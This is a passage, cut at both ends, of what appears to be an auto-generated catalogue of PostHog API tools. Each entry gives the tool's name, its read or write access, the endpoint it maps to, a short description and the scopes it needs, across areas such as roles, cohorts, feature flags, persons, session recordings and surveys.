/api/v1/posthog/organizations/{organization_id}/projects/{id}/event_ingestion_restrictions/. Scopes: project:read. posthog_get_api_organizations_by_organization_id_roles (read) — List roles via GET /api/organizations/{organization_id}/roles/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. GET /api/v1/posthog/organizations/{organization_id}/roles/. Scopes: organization:read. posthog_get_api_organizations_by_organization_id_roles_by_id (read) — Get role via GET /api/organizations/{organization_id}/roles/{id}/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. GET /api/v1/posthog/organizations/{organization_id}/roles/{id}/. Scopes: organization:read. posthog_get_api_organizations_by_organization_id_roles_by_role_id_role_memberships (read) — Get role memberships via GET /api/organizations/{organization_id}/roles/{role_id}/role_memberships/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. GET /api/v1/posthog/organizations/{organization_id}/roles/{role_id}/role_memberships/. Scopes: organization:read. posthog_get_api_organizations_by_organization_id_roles_by_role_id_role_memberships_by_id (read) — Get role membership via GET /api/organizations/{organization_id}/roles/{role_id}/role_memberships/{id}/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. GET /api/v1/posthog/organizations/{organization_id}/roles/{role_id}/role_memberships/{id}/. Scopes: organization:read. posthog_get_api_projects_by_project_id_actions (read) — List actions via GET /api/projects/{project_id}/actions/ GET /api/v1/posthog/projects/{project_id}/actions/. Scopes: action:read. posthog_get_api_projects_by_project_id_actions_by_id (read) — Get action via GET /api/projects/{project_id}/actions/{id}/ GET /api/v1/posthog/projects/{project_id}/actions/{id}/. Scopes: action:read. posthog_get_api_projects_by_project_id_actions_by_id_references (read) — Get action references via GET /api/projects/{project_id}/actions/{id}/references/ GET /api/v1/posthog/projects/{project_id}/actions/{id}/references/. Scopes: action:read. posthog_get_api_projects_by_project_id_activity_log (read) — List activity log via GET /api/projects/{project_id}/activity_log/ GET /api/v1/posthog/projects/{project_id}/activity_log/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_alerts (read) — List alerts via GET /api/projects/{project_id}/alerts/ GET /api/v1/posthog/projects/{project_id}/alerts/. Scopes: alert:read. posthog_get_api_projects_by_project_id_alerts_by_id (read) — Get alert via GET /api/projects/{project_id}/alerts/{id}/ GET /api/v1/posthog/projects/{project_id}/alerts/{id}/. Scopes: alert:read. posthog_get_api_projects_by_project_id_annotations (read) — List annotations via GET /api/projects/{project_id}/annotations/ Create, Read, Update and Delete annotations. [See docs](https://posthog.com/docs/data/annotations) for more information on annotations. GET /api/v1/posthog/projects/{project_id}/annotations/. Scopes: annotation:read. posthog_get_api_projects_by_project_id_annotations_by_id (read) — Get annotation via GET /api/projects/{project_id}/annotations/{id}/ Create, Read, Update and Delete annotations. [See docs](https://posthog.com/docs/data/annotations) for more information on annotations. GET /api/v1/posthog/projects/{project_id}/annotations/{id}/. Scopes: annotation:read. posthog_get_api_projects_by_project_id_cohorts (read) — List cohorts via GET /api/projects/{project_id}/cohorts/ GET /api/v1/posthog/projects/{project_id}/cohorts/. Scopes: cohort:read. posthog_get_api_projects_by_project_id_cohorts_activity (read) — Get cohorts activity via GET /api/projects/{project_id}/cohorts/activity/ GET /api/v1/posthog/projects/{project_id}/cohorts/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_cohorts_by_id (read) — Get cohort via GET /api/projects/{project_id}/cohorts/{id}/ GET /api/v1/posthog/projects/{project_id}/cohorts/{id}/. Scopes: cohort:read. posthog_get_api_projects_by_project_id_cohorts_by_id_activity (read) — Get cohort activity via GET /api/projects/{project_id}/cohorts/{id}/activity/ GET /api/v1/posthog/projects/{project_id}/cohorts/{id}/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_cohorts_by_id_calculation_history (read) — Get cohort calculation history via GET /api/projects/{project_id}/cohorts/{id}/calculation_history/ GET /api/v1/posthog/projects/{project_id}/cohorts/{id}/calculation_history/. Scopes: cohort:read. posthog_get_api_projects_by_project_id_cohorts_by_id_persons (read) — Get cohort persons via GET /api/projects/{project_id}/cohorts/{id}/persons/ GET /api/v1/posthog/projects/{project_id}/cohorts/{id}/persons/. Scopes: cohort:read, person:read. posthog_get_api_projects_by_project_id_cohorts_by_id_used_in (read) — Get cohort used in via GET /api/projects/{project_id}/cohorts/{id}/used_in/ GET /api/v1/posthog/projects/{project_id}/cohorts/{id}/used_in/. Scopes: cohort:read. posthog_get_api_projects_by_project_id_comments (read) — List comments via GET /api/projects/{project_id}/comments/ GET /api/v1/posthog/projects/{project_id}/comments/. Scopes: comment:read. posthog_get_api_projects_by_project_id_comments_by_id (read) — Get comment via GET /api/projects/{project_id}/comments/{id}/ GET /api/v1/posthog/projects/{project_id}/comments/{id}/. Scopes: comment:read. posthog_get_api_projects_by_project_id_comments_by_id_thread (read) — Get comment thread via GET /api/projects/{project_id}/comments/{id}/thread/ GET /api/v1/posthog/projects/{project_id}/comments/{id}/thread/. Scopes: comment:read. posthog_get_api_projects_by_project_id_comments_count (read) — Get comments count via GET /api/projects/{project_id}/comments/count/ GET /api/v1/posthog/projects/{project_id}/comments/count/. Scopes: comment:read. posthog_get_api_projects_by_project_id_dashboard_templates (read) — List dashboard templates via GET /api/projects/{project_id}/dashboard_templates/ GET /api/v1/posthog/projects/{project_id}/dashboard_templates/. Scopes: dashboard_template:read. posthog_get_api_projects_by_project_id_dashboard_templates_by_id (read) — Get dashboard template via GET /api/projects/{project_id}/dashboard_templates/{id}/ GET /api/v1/posthog/projects/{project_id}/dashboard_templates/{id}/. Scopes: dashboard_template:read. posthog_get_api_projects_by_project_id_dashboards (read) — List dashboards via GET /api/projects/{project_id}/dashboards/ GET /api/v1/posthog/projects/{project_id}/dashboards/. Scopes: dashboard:read. posthog_get_api_projects_by_project_id_dashboards_by_dashboard_id_collaborators (read) — Get dashboard collaborators via GET /api/projects/{project_id}/dashboards/{dashboard_id}/collaborators/ GET /api/v1/posthog/projects/{project_id}/dashboards/{dashboard_id}/collaborators/. Scopes: dashboard:read. posthog_get_api_projects_by_project_id_dashboards_by_dashboard_id_sharing (read) — Get dashboard sharing via GET /api/projects/{project_id}/dashboards/{dashboard_id}/sharing/ GET /api/v1/posthog/projects/{project_id}/dashboards/{dashboard_id}/sharing/. Scopes: sharing_configuration:read. posthog_get_api_projects_by_project_id_dashboards_by_id (read) — Get dashboard via GET /api/projects/{project_id}/dashboards/{id}/ GET /api/v1/posthog/projects/{project_id}/dashboards/{id}/. Scopes: dashboard:read. posthog_get_api_projects_by_project_id_early_access_feature (read) — List early access features via GET /api/projects/{project_id}/early_access_feature/ GET /api/v1/posthog/projects/{project_id}/early_access_feature/. Scopes: early_access_feature:read. posthog_get_api_projects_by_project_id_early_access_feature_by_id (read) — Get early access feature via GET /api/projects/{project_id}/early_access_feature/{id}/ GET /api/v1/posthog/projects/{project_id}/early_access_feature/{id}/. Scopes: early_access_feature:read. posthog_get_api_projects_by_project_id_elements (read) — List elements via GET /api/projects/{project_id}/elements/ GET /api/v1/posthog/projects/{project_id}/elements/. Scopes: element:read. posthog_get_api_projects_by_project_id_elements_stats (read) — Get elements stats via GET /api/projects/{project_id}/elements/stats/ Counts of $autocapture, $rageclick, and $dead_click events grouped by the element chain they occurred on, ordered by count. Defaults to all three event types; narrow with the include parameter. GET /api/v1/posthog/projects/{project_id}/elements/stats/. Scopes: element:read. posthog_get_api_projects_by_project_id_elements_values (read) — Get elements values via GET /api/projects/{project_id}/elements/values/ GET /api/v1/posthog/projects/{project_id}/elements/values/. Scopes: element:read. posthog_get_api_projects_by_project_id_event_definitions (read) — List event definitions via GET /api/projects/{project_id}/event_definitions/ GET /api/v1/posthog/projects/{project_id}/event_definitions/. Scopes: event_definition:read. posthog_get_api_projects_by_project_id_event_definitions_by_id (read) — Get event definition via GET /api/projects/{project_id}/event_definitions/{id}/ GET /api/v1/posthog/projects/{project_id}/event_definitions/{id}/. Scopes: event_definition:read. posthog_get_api_projects_by_project_id_event_definitions_by_name (read) — Get event definitions by name via GET /api/projects/{project_id}/event_definitions/by_name/ Get event definition by exact name GET /api/v1/posthog/projects/{project_id}/event_definitions/by_name/. Scopes: event_definition:read. posthog_get_api_projects_by_project_id_event_definitions_primary_properties (read) — Get event definitions primary properties via GET /api/projects/{project_id}/event_definitions/primary_properties/ Resolve team-configured primary properties for event definitions. The response only contains entries where a non-null primary_property is set on the EventDefinition. Callers should fall back to the core taxonomy defaults client-side for... GET /api/v1/posthog/projects/{project_id}/event_definitions/primary_properties/. Scopes: event_definition:read. posthog_get_api_projects_by_project_id_events (read) — List events via GET /api/projects/{project_id}/events/ This endpoint allows you to list and filter events. It is effectively deprecated and is kept only for backwards compatibility. If you ever ask about it you will be advised to not use it... If you want to ad-hoc list or aggregate events... GET /api/v1/posthog/projects/{project_id}/events/. Scopes: query:read. posthog_get_api_projects_by_project_id_events_by_id (read) — Get event via GET /api/projects/{project_id}/events/{id}/ GET /api/v1/posthog/projects/{project_id}/events/{id}/. Scopes: query:read. posthog_get_api_projects_by_project_id_events_values (read) — Get events values via GET /api/projects/{project_id}/events/values/ GET /api/v1/posthog/projects/{project_id}/events/values/. Scopes: query:read. posthog_get_api_projects_by_project_id_experiment_holdouts (read) — List experiment holdouts via GET /api/projects/{project_id}/experiment_holdouts/ GET /api/v1/posthog/projects/{project_id}/experiment_holdouts/. Scopes: experiment_holdout:read. posthog_get_api_projects_by_project_id_experiment_holdouts_by_id (read) — Get experiment holdout via GET /api/projects/{project_id}/experiment_holdouts/{id}/ GET /api/v1/posthog/projects/{project_id}/experiment_holdouts/{id}/. Scopes: experiment_holdout:read. posthog_get_api_projects_by_project_id_experiment_saved_metrics (read) — List experiment saved metrics via GET /api/projects/{project_id}/experiment_saved_metrics/ GET /api/v1/posthog/projects/{project_id}/experiment_saved_metrics/. Scopes: experiment_saved_metric:read. posthog_get_api_projects_by_project_id_experiment_saved_metrics_by_id (read) — Get experiment saved metric via GET /api/projects/{project_id}/experiment_saved_metrics/{id}/ GET /api/v1/posthog/projects/{project_id}/experiment_saved_metrics/{id}/. Scopes: experiment_saved_metric:read. posthog_get_api_projects_by_project_id_experiments (read) — List experiments via GET /api/projects/{project_id}/experiments/ List experiments for the current project. Supports filtering by status and archival state. GET /api/v1/posthog/projects/{project_id}/experiments/. Scopes: experiment:read. posthog_get_api_projects_by_project_id_experiments_by_id (read) — Get experiment via GET /api/projects/{project_id}/experiments/{id}/ Retrieve a single experiment by ID, including its current status, metrics, feature flag, and results metadata. GET /api/v1/posthog/projects/{project_id}/experiments/{id}/. Scopes: experiment:read. posthog_get_api_projects_by_project_id_experiments_by_id_activity (read) — Get experiment activity via GET /api/projects/{project_id}/experiments/{id}/activity/ Change history for this experiment. Returns a paginated audit trail of changes to the experiment, its holdouts and shared metrics, and its linked feature flag: who made each change, what changed (field-level before/after values), and when.... GET /api/v1/posthog/projects/{project_id}/experiments/{id}/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_exports (read) — List exports via GET /api/projects/{project_id}/exports/ GET /api/v1/posthog/projects/{project_id}/exports/. Scopes: export:read. posthog_get_api_projects_by_project_id_exports_by_id (read) — Get export via GET /api/projects/{project_id}/exports/{id}/ GET /api/v1/posthog/projects/{project_id}/exports/{id}/. Scopes: export:read. posthog_get_api_projects_by_project_id_feature_flags (read) — List feature flags via GET /api/projects/{project_id}/feature_flags/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_feature_flags_activity (read) — Get feature flags activity via GET /api/projects/{project_id}/feature_flags/activity/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_feature_flags_by_id (read) — Get feature flag via GET /api/projects/{project_id}/feature_flags/{id}/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/{id}/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_feature_flags_by_id_activity (read) — Get feature flag activity via GET /api/projects/{project_id}/feature_flags/{id}/activity/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/{id}/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_feature_flags_by_id_dependent_flags (read) — Get feature flag dependent flags via GET /api/projects/{project_id}/feature_flags/{id}/dependent_flags/ Get other active flags that depend on this flag. GET /api/v1/posthog/projects/{project_id}/feature_flags/{id}/dependent_flags/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_feature_flags_by_id_remote_config (read) — Get feature flag remote config via GET /api/projects/{project_id}/feature_flags/{id}/remote_config/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/{id}/remote_config/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_feature_flags_by_id_status (read) — Get feature flag status via GET /api/projects/{project_id}/feature_flags/{id}/status/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/{id}/status/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_feature_flags_by_id_versions_by_version_number (read) — Get feature flag version via GET /api/projects/{project_id}/feature_flags/{id}/versions/{version_number}/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/{id}/versions/{version_number}/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_feature_flags_evaluation_reasons (read) — Get feature flags evaluation reasons via GET /api/projects/{project_id}/feature_flags/evaluation_reasons/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/evaluation_reasons/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_feature_flags_my_flags (read) — Get feature flags my flags via GET /api/projects/{project_id}/feature_flags/my_flags/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... GET /api/v1/posthog/projects/{project_id}/feature_flags/my_flags/. Scopes: feature_flag:read. posthog_get_api_projects_by_project_id_groups (read) — List groups via GET /api/projects/{project_id}/groups/ List all groups of a specific group type. You must pass ?group_type_index= in the URL. To get a list of valid group types, call /api/:project_id/groups_types/. Uses forward-only keyset pagination via the `cursor` parameter. The `previous`... GET /api/v1/posthog/projects/{project_id}/groups/. Scopes: group:read. posthog_get_api_projects_by_project_id_groups_activity (read) — Get groups activity via GET /api/projects/{project_id}/groups/activity/ GET /api/v1/posthog/projects/{project_id}/groups/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_groups_find (read) — Find groups via GET /api/projects/{project_id}/groups/find/ GET /api/v1/posthog/projects/{project_id}/groups/find/. Scopes: group:read. posthog_get_api_projects_by_project_id_groups_property_values (read) — Get groups property values via GET /api/projects/{project_id}/groups/property_values/ GET /api/v1/posthog/projects/{project_id}/groups/property_values/. Scopes: group:read. posthog_get_api_projects_by_project_id_groups_related (read) — Get groups related via GET /api/projects/{project_id}/groups/related/ GET /api/v1/posthog/projects/{project_id}/groups/related/. Scopes: group:read. posthog_get_api_projects_by_project_id_groups_types (read) — List group types via GET /api/projects/{project_id}/groups_types/ GET /api/v1/posthog/projects/{project_id}/groups_types/. Scopes: group:read. posthog_get_api_projects_by_project_id_groups_types_by_group_type_index_metrics (read) — Get group type metrics via GET /api/projects/{project_id}/groups_types/{group_type_index}/metrics/ GET /api/v1/posthog/projects/{project_id}/groups_types/{group_type_index}/metrics/. Scopes: usage_metric:read. posthog_get_api_projects_by_project_id_groups_types_by_group_type_index_metrics_by_id (read) — Get group type metric via GET /api/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/ GET /api/v1/posthog/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/. Scopes: usage_metric:read. posthog_get_api_projects_by_project_id_heatmaps (read) — List heatmaps via GET /api/projects/{project_id}/heatmaps/ Aggregated heatmap interactions for a page. For type 'click'/'rageclick'/'mousemove' each result is a point with relative x, absolute client-y, and a count. For type 'scrolldepth' the response is scroll-depth buckets instead (cumulative... GET /api/v1/posthog/projects/{project_id}/heatmaps/. Scopes: heatmap:read. posthog_get_api_projects_by_project_id_heatmaps_events (read) — Get heatmaps events via GET /api/projects/{project_id}/heatmaps/events/ Drill into the individual session interactions behind one or more heatmap coordinates. Pass the 'points' you want to inspect (from the heatmaps list response) to get the underlying per-session events, so you can jump to the session... GET /api/v1/posthog/projects/{project_id}/heatmaps/events/. Scopes: heatmap:read. posthog_get_api_projects_by_project_id_insight_variables (read) — List insight variables via GET /api/projects/{project_id}/insight_variables/ GET /api/v1/posthog/projects/{project_id}/insight_variables/. Scopes: insight_variable:read. posthog_get_api_projects_by_project_id_insight_variables_by_id (read) — Get insight variable via GET /api/projects/{project_id}/insight_variables/{id}/ GET /api/v1/posthog/projects/{project_id}/insight_variables/{id}/. Scopes: insight_variable:read. posthog_get_api_projects_by_project_id_insights (read) — List insights via GET /api/projects/{project_id}/insights/ DRF ViewSet mixin that gates coalesced responses behind permission checks. The QueryCoalescingMiddleware attaches cached response data to request.META["_coalesced_response"] for followers. This mixin runs DRF's initial() (auth +... GET /api/v1/posthog/projects/{project_id}/insights/. Scopes: insight:read. posthog_get_api_projects_by_project_id_insights_activity (read) — Get insights activity via GET /api/projects/{project_id}/insights/activity/ Project-wide audit trail across all insights — who created, edited, deleted, or restored insights, what changed (with before/after diffs), and when. Useful for surfacing what people (or agents) have been working on recently. GET /api/v1/posthog/projects/{project_id}/insights/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_insights_by_id (read) — Get insight via GET /api/projects/{project_id}/insights/{id}/ DRF ViewSet mixin that gates coalesced responses behind permission checks. The QueryCoalescingMiddleware attaches cached response data to request.META["_coalesced_response"] for followers. This mixin runs DRF's initial() (auth +... GET /api/v1/posthog/projects/{project_id}/insights/{id}/. Scopes: insight:read. posthog_get_api_projects_by_project_id_insights_by_id_activity (read) — Get insight activity via GET /api/projects/{project_id}/insights/{id}/activity/ Audit trail for a single insight — every change made to it, by whom, and when. Use this when you want the change history of a specific insight; use the project-wide activity endpoint for a broader view. GET /api/v1/posthog/projects/{project_id}/insights/{id}/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_insights_by_insight_id_sharing (read) — Get insight sharing via GET /api/projects/{project_id}/insights/{insight_id}/sharing/ GET /api/v1/posthog/projects/{project_id}/insights/{insight_id}/sharing/. Scopes: sharing_configuration:read. posthog_get_api_projects_by_project_id_insights_by_insight_id_thresholds (read) — Get insight thresholds via GET /api/projects/{project_id}/insights/{insight_id}/thresholds/ GET /api/v1/posthog/projects/{project_id}/insights/{insight_id}/thresholds/. Scopes: alert:read. posthog_get_api_projects_by_project_id_insights_by_insight_id_thresholds_by_id (read) — Get insight threshold via GET /api/projects/{project_id}/insights/{insight_id}/thresholds/{id}/ GET /api/v1/posthog/projects/{project_id}/insights/{insight_id}/thresholds/{id}/. Scopes: alert:read. posthog_get_api_projects_by_project_id_persons (read) — List persons via GET /api/projects/{project_id}/persons/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... GET /api/v1/posthog/projects/{project_id}/persons/. Scopes: person:read. posthog_get_api_projects_by_project_id_persons_activity (read) — Get persons activity via GET /api/projects/{project_id}/persons/activity/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... GET /api/v1/posthog/projects/{project_id}/persons/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_persons_by_id (read) — Get person via GET /api/projects/{project_id}/persons/{id}/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... GET /api/v1/posthog/projects/{project_id}/persons/{id}/. Scopes: person:read. posthog_get_api_projects_by_project_id_persons_by_id_activity (read) — Get person activity via GET /api/projects/{project_id}/persons/{id}/activity/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... GET /api/v1/posthog/projects/{project_id}/persons/{id}/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_persons_cohorts (read) — Get persons cohorts via GET /api/projects/{project_id}/persons/cohorts/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... GET /api/v1/posthog/projects/{project_id}/persons/cohorts/. Scopes: cohort:read, person:read. posthog_get_api_projects_by_project_id_persons_deletion_status (read) — Get persons deletion status via GET /api/projects/{project_id}/persons/deletion_status/ List the status of queued event deletions for persons. When you delete a person with `delete_events=true`, an async deletion is queued. Use this endpoint to check whether those deletions are still pending or have been completed. GET /api/v1/posthog/projects/{project_id}/persons/deletion_status/. Scopes: person:read. posthog_get_api_projects_by_project_id_persons_properties_at_time (read) — Get persons properties at time via GET /api/projects/{project_id}/persons/properties_at_time/ Get person properties as they existed at a specific point in time. This endpoint reconstructs person properties by querying ClickHouse events for $set and $set_once operations up to the specified timestamp. Query parameters: - distinct_id... GET /api/v1/posthog/projects/{project_id}/persons/properties_at_time/. Scopes: person:read. posthog_get_api_projects_by_project_id_persons_values (read) — Get persons values via GET /api/projects/{project_id}/persons/values/ This endpoint is meant for reading and deleting persons. To create or update persons, we recommend using the [capture API](https://posthog.com/docs/api/capture), the `$set` and `$unset`... GET /api/v1/posthog/projects/{project_id}/persons/values/. Scopes: person:read. posthog_get_api_projects_by_project_id_property_definitions (read) — List property definitions via GET /api/projects/{project_id}/property_definitions/ GET /api/v1/posthog/projects/{project_id}/property_definitions/. Scopes: property_definition:read. posthog_get_api_projects_by_project_id_property_definitions_by_id (read) — Get property definition via GET /api/projects/{project_id}/property_definitions/{id}/ GET /api/v1/posthog/projects/{project_id}/property_definitions/{id}/. Scopes: property_definition:read. posthog_get_api_projects_by_project_id_property_definitions_seen_together (read) — Get property definitions seen together via GET /api/projects/{project_id}/property_definitions/seen_together/ Allows a caller to provide a list of event names and a single property name Returns a map of the event names to a boolean representing whether that property has ever been seen with that event_name GET /api/v1/posthog/projects/{project_id}/property_definitions/seen_together/. Scopes: property_definition:read. posthog_get_api_projects_by_project_id_query_by_id (read) — Get query via GET /api/projects/{project_id}/query/{id}/ (Experimental) GET /api/v1/posthog/projects/{project_id}/query/{id}/. Scopes: query:read. posthog_get_api_projects_by_project_id_session_recording_playlists (read) — List session recording playlists via GET /api/projects/{project_id}/session_recording_playlists/ Override list to include synthetic playlists. Synthetics have no DB row, so we compute each one's position in the merged sort and split the requested page between synthetics and a DB queryset slice. The merge/rank/sort is all in-memory, so... GET /api/v1/posthog/projects/{project_id}/session_recording_playlists/. Scopes: session_recording_playlist:read. posthog_get_api_projects_by_project_id_session_recording_playlists_by_short_id (read) — Get session recording playlist via GET /api/projects/{project_id}/session_recording_playlists/{short_id}/ GET /api/v1/posthog/projects/{project_id}/session_recording_playlists/{short_id}/. Scopes: session_recording_playlist:read. posthog_get_api_projects_by_project_id_session_recording_playlists_by_short_id_recordings (read) — Get session recording playlist recordings via GET /api/projects/{project_id}/session_recording_playlists/{short_id}/recordings/ GET /api/v1/posthog/projects/{project_id}/session_recording_playlists/{short_id}/recordings/. Scopes: session_recording_playlist:read. posthog_get_api_projects_by_project_id_session_recordings (read) — List session recordings via GET /api/projects/{project_id}/session_recordings/ GET /api/v1/posthog/projects/{project_id}/session_recordings/. Scopes: session_recording:read. posthog_get_api_projects_by_project_id_session_recordings_by_id (read) — Get session recording via GET /api/projects/{project_id}/session_recordings/{id}/ GET /api/v1/posthog/projects/{project_id}/session_recordings/{id}/. Scopes: session_recording:read. posthog_get_api_projects_by_project_id_session_recordings_by_recording_id_sharing (read) — Get session recording sharing via GET /api/projects/{project_id}/session_recordings/{recording_id}/sharing/ GET /api/v1/posthog/projects/{project_id}/session_recordings/{recording_id}/sharing/. Scopes: sharing_configuration:read. posthog_get_api_projects_by_project_id_sessions_property_definitions (read) — Get sessions property definitions via GET /api/projects/{project_id}/sessions/property_definitions/ GET /api/v1/posthog/projects/{project_id}/sessions/property_definitions/. Scopes: query:read. posthog_get_api_projects_by_project_id_sessions_values (read) — Get sessions values via GET /api/projects/{project_id}/sessions/values/ GET /api/v1/posthog/projects/{project_id}/sessions/values/. Scopes: query:read. posthog_get_api_projects_by_project_id_subscriptions (read) — List subscriptions via GET /api/projects/{project_id}/subscriptions/ GET /api/v1/posthog/projects/{project_id}/subscriptions/. Scopes: subscription:read. posthog_get_api_projects_by_project_id_subscriptions_by_id (read) — Get subscription via GET /api/projects/{project_id}/subscriptions/{id}/ GET /api/v1/posthog/projects/{project_id}/subscriptions/{id}/. Scopes: subscription:read. posthog_get_api_projects_by_project_id_subscriptions_summary_quota (read) — Get subscriptions summary quota via GET /api/projects/{project_id}/subscriptions/summary_quota/ GET /api/v1/posthog/projects/{project_id}/subscriptions/summary_quota/. Scopes: subscription:read. posthog_get_api_projects_by_project_id_surveys (read) — List surveys via GET /api/projects/{project_id}/surveys/ GET /api/v1/posthog/projects/{project_id}/surveys/. Scopes: survey:read. posthog_get_api_projects_by_project_id_surveys_activity (read) — Get surveys activity via GET /api/projects/{project_id}/surveys/activity/ GET /api/v1/posthog/projects/{project_id}/surveys/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_surveys_by_id (read) — Get survey via GET /api/projects/{project_id}/surveys/{id}/ GET /api/v1/posthog/projects/{project_id}/surveys/{id}/. Scopes: survey:read. posthog_get_api_projects_by_project_id_surveys_by_id_activity (read) — Get survey activity via GET /api/projects/{project_id}/surveys/{id}/activity/ GET /api/v1/posthog/projects/{project_id}/surveys/{id}/activity/. Scopes: activity_log:read. posthog_get_api_projects_by_project_id_surveys_by_id_responses (read) — Get survey responses via GET /api/projects/{project_id}/surveys/{id}/responses/ List survey responses for a specific survey, with question text resolved server-side so callers do not have to map opaque `$survey_response_<id>` keys. Each row carries `distinct_id`, `session_id`, `submitted_at`, and an `extra` block... GET /api/v1/posthog/projects/{project_id}/surveys/{id}/responses/. Scopes: query:read, survey:read. posthog_get_api_projects_by_project_id_surveys_by_id_stats (read) — Get survey stats via GET /api/projects/{project_id}/surveys/{id}/stats/ Get survey response statistics for a specific survey. Args: date_from: Optional ISO timestamp for start date (e.g. 2024-01-01T00:00:00Z) date_to: Optional ISO timestamp for end date (e.g. 2024-01-31T23:59:59Z) exclude_archived: Optional... GET /api/v1/posthog/projects/{project_id}/surveys/{id}/stats/. Scopes: survey:read. posthog_get_api_projects_by_project_id_surveys_responses_count (read) — Get surveys responses count via GET /api/projects/{project_id}/surveys/responses_count/ Get response counts for all surveys. Args: exclude_archived: Optional boolean to exclude archived responses (default: false, includes archived) survey_ids: Optional comma-separated list of survey IDs to filter by Returns: Dictionary... GET /api/v1/posthog/projects/{project_id}/surveys/responses_count/. Scopes: survey:read. posthog_get_api_projects_by_project_id_surveys_stats (read) — Get surveys stats via GET /api/projects/{project_id}/surveys/stats/ Get aggregated response statistics across all surveys. Args: date_from: Optional ISO timestamp for start date (e.g. 2024-01-01T00:00:00Z) date_to: Optional ISO timestamp for end date (e.g. 2024-01-31T23:59:59Z) Returns: Aggregated... GET /api/v1/posthog/projects/{project_id}/surveys/stats/. Scopes: survey:read. posthog_get_api_users (read) — List users via GET /api/users/ GET /api/v1/posthog/users/. Scopes: user:read. posthog_get_api_users_by_uuid (read) — Get user via GET /api/users/{uuid}/ Retrieve a user's profile and settings. Pass `@me` as the UUID to fetch the authenticated user; non-staff callers may only access their own account. GET /api/v1/posthog/users/{uuid}/. Scopes: user:read. posthog_patch_api_organizations_by_id (write) — Update organization via PATCH /api/organizations/{id}/ PATCH /api/v1/posthog/organizations/{id}/. Scopes: organization:write. posthog_patch_api_organizations_by_organization_id_domains_by_id (write) — Update organization domain via PATCH /api/organizations/{organization_id}/domains/{id}/ PATCH /api/v1/posthog/organizations/{organization_id}/domains/{id}/. Scopes: organization:write. posthog_patch_api_organizations_by_organization_id_members_by_user_uuid (write) — Update organization member via PATCH /api/organizations/{organization_id}/members/{user__uuid}/ PATCH /api/v1/posthog/organizations/{organization_id}/members/{user__uuid}/. Scopes: organization_member:write. posthog_patch_api_organizations_by_organization_id_projects_by_id (write) — Update project via PATCH /api/organizations/{organization_id}/projects/{id}/ Update one or more of a project's settings. Only the fields included in the request body are changed. PATCH /api/v1/posthog/organizations/{organization_id}/projects/{id}/. Scopes: project:write. posthog_patch_api_organizations_by_organization_id_projects_by_id_add_product_intent (write) — Add product intent project via PATCH /api/organizations/{organization_id}/projects/{id}/add_product_intent/ Projects for the current organization. PATCH /api/v1/posthog/organizations/{organization_id}/projects/{id}/add_product_intent/. Scopes: project:read. posthog_patch_api_organizations_by_organization_id_projects_by_id_complete_product_onboarding (write) — Complete product onboarding project via PATCH 